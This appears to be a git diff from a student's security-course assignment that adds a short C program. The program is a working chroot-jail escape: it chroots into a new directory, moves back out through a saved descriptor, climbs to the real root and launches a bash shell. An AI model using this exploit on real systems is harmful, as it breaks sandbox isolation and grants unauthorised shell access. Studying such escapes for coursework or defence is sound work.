diff options
Diffstat (limited to 'CamilStaps-s4498062-Assignment-6/ex1.c')
-rw-r--r-- | CamilStaps-s4498062-Assignment-6/ex1.c | 23 |
1 files changed, 23 insertions, 0 deletions
diff --git a/CamilStaps-s4498062-Assignment-6/ex1.c b/CamilStaps-s4498062-Assignment-6/ex1.c new file mode 100644 index 0000000..0ce1505 --- /dev/null +++ b/CamilStaps-s4498062-Assignment-6/ex1.c @@ -0,0 +1,23 @@ +#include <fcntl.h> +#include <stdio.h> + +int main(void) { + int cwdf, x; + + mkdir("crowbardir", 0755); + + cwdf = open(".", O_RDONLY); + + chroot("crowbardir"); + + fchdir(cwdf); + close(cwdf); + + for (x=0; x<1024; x++) + chdir(".."); + + chroot("."); + + system("/bin/bash"); +} + |